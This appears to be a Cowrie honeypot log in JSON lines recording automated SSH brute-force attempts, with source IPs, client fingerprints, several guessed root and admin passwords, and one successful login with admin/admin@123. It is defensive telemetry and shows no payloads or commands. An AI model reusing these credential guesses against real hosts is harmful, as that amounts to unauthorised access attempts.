{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:13:20.251765Z","src_ip":"185.243.11.39","session":"20ac3ae1777a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:13:20.290601Z","src_ip":"194.59.206.2","session":"d65b6f25a5ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":40100,"dst_ip":"10.17.0.5","dst_port":22,"session":"12c08b1d18f1","protocol":"ssh","message":"New connection: 173.236.247.120:40100 (10.17.0.5:22) [session: 12c08b1d18f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:14:21.343424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:14:21.347169Z","src_ip":"173.236.247.120","session":"12c08b1d18f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:14:21.358522Z","src_ip":"173.236.247.120","session":"12c08b1d18f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"G@t3!0#Tr0ng@P@ss","message":"login attempt [root/G@t3!0#Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:14:21.394324Z","src_ip":"173.236.247.120","session":"12c08b1d18f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:14:22.407754Z","src_ip":"173.236.247.120","session":"12c08b1d18f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":58008,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ee365a9cab6","protocol":"ssh","message":"New connection: 144.91.108.61:58008 (10.17.0.5:22) [session: 0ee365a9cab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:14:53.970368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:14:53.974613Z","src_ip":"144.91.108.61","session":"0ee365a9cab6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:14:54.067296Z","src_ip":"144.91.108.61","session":"0ee365a9cab6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"N0t$M@st3r@P@ss","message":"login attempt [root/N0t$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:14:54.345598Z","src_ip":"144.91.108.61","session":"0ee365a9cab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":49886,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc1f09668411","protocol":"ssh","message":"New connection: 103.149.28.157:49886 (159.203.135.109:22) [session: fc1f09668411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:14:54.560113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:14:54.564263Z","src_ip":"103.149.28.157","session":"fc1f09668411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:14:54.813603Z","src_ip":"103.149.28.157","session":"fc1f09668411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:14:55.442532Z","src_ip":"144.91.108.61","session":"0ee365a9cab6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"racecar","message":"login attempt [root/racecar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:14:55.554575Z","src_ip":"103.149.28.157","session":"fc1f09668411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:14:56.803879Z","src_ip":"103.149.28.157","session":"fc1f09668411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":58354,"dst_ip":"10.17.0.5","dst_port":22,"session":"03cb75cac474","protocol":"ssh","message":"New connection: 91.92.40.176:58354 (10.17.0.5:22) [session: 03cb75cac474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:14:59.576018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:14:59.991110Z","src_ip":"91.92.40.176","session":"03cb75cac474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:15:00.034999Z","src_ip":"91.92.40.176","session":"03cb75cac474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345","message":"login attempt [admin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:15:00.932814Z","src_ip":"91.92.40.176","session":"03cb75cac474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:15:02.030163Z","src_ip":"91.92.40.176","session":"03cb75cac474","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":47904,"dst_ip":"10.17.0.5","dst_port":22,"session":"969b356381d5","protocol":"ssh","message":"New connection: 89.223.69.22:47904 (10.17.0.5:22) [session: 969b356381d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:15:31.023414Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":47596,"dst_ip":"10.17.0.5","dst_port":22,"session":"027f0dc0f935","protocol":"ssh","message":"New connection: 103.98.149.87:47596 (10.17.0.5:22) [session: 027f0dc0f935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:16:16.908479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:16:16.914631Z","src_ip":"103.98.149.87","session":"027f0dc0f935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:16:17.146761Z","src_ip":"103.98.149.87","session":"027f0dc0f935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:16:18.060301Z","src_ip":"103.98.149.87","session":"027f0dc0f935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:16:19.285946Z","src_ip":"103.98.149.87","session":"027f0dc0f935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.251.137","src_port":36288,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a4efe5aa300","protocol":"ssh","message":"New connection: 198.12.251.137:36288 (10.17.0.5:22) [session: 3a4efe5aa300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:16:23.073708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:16:23.078034Z","src_ip":"198.12.251.137","session":"3a4efe5aa300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:16:23.144123Z","src_ip":"198.12.251.137","session":"3a4efe5aa300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass@#$%","message":"login attempt [root/pass@#$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:16:23.346098Z","src_ip":"198.12.251.137","session":"3a4efe5aa300","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:16:24.417626Z","src_ip":"198.12.251.137","session":"3a4efe5aa300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.180.166","src_port":34780,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e8339667de7","protocol":"ssh","message":"New connection: 192.169.180.166:34780 (10.17.0.5:22) [session: 2e8339667de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:16:45.523837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:16:45.530258Z","src_ip":"192.169.180.166","session":"2e8339667de7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:16:45.590249Z","src_ip":"192.169.180.166","session":"2e8339667de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"VRM$Tr0ng@P@ss","message":"login attempt [root/VRM$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:16:45.847901Z","src_ip":"192.169.180.166","session":"2e8339667de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:16:46.915073Z","src_ip":"192.169.180.166","session":"2e8339667de7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57254,"dst_ip":"159.203.135.109","dst_port":23,"session":"934b249c69a8","protocol":"telnet","message":"New connection: 170.64.224.25:57254 (159.203.135.109:23) [session: 934b249c69a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:02.379571Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":54838,"dst_ip":"10.17.0.5","dst_port":22,"session":"244b902aa5cd","protocol":"ssh","message":"New connection: 91.92.40.176:54838 (10.17.0.5:22) [session: 244b902aa5cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:06.018112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:06.037260Z","src_ip":"91.92.40.176","session":"244b902aa5cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:06.104100Z","src_ip":"91.92.40.176","session":"244b902aa5cd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@123","message":"login attempt [admin/admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:06.421494Z","src_ip":"91.92.40.176","session":"244b902aa5cd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:17:06.658699Z","src_ip":"91.92.40.176","session":"244b902aa5cd","protocol":"ssh"}
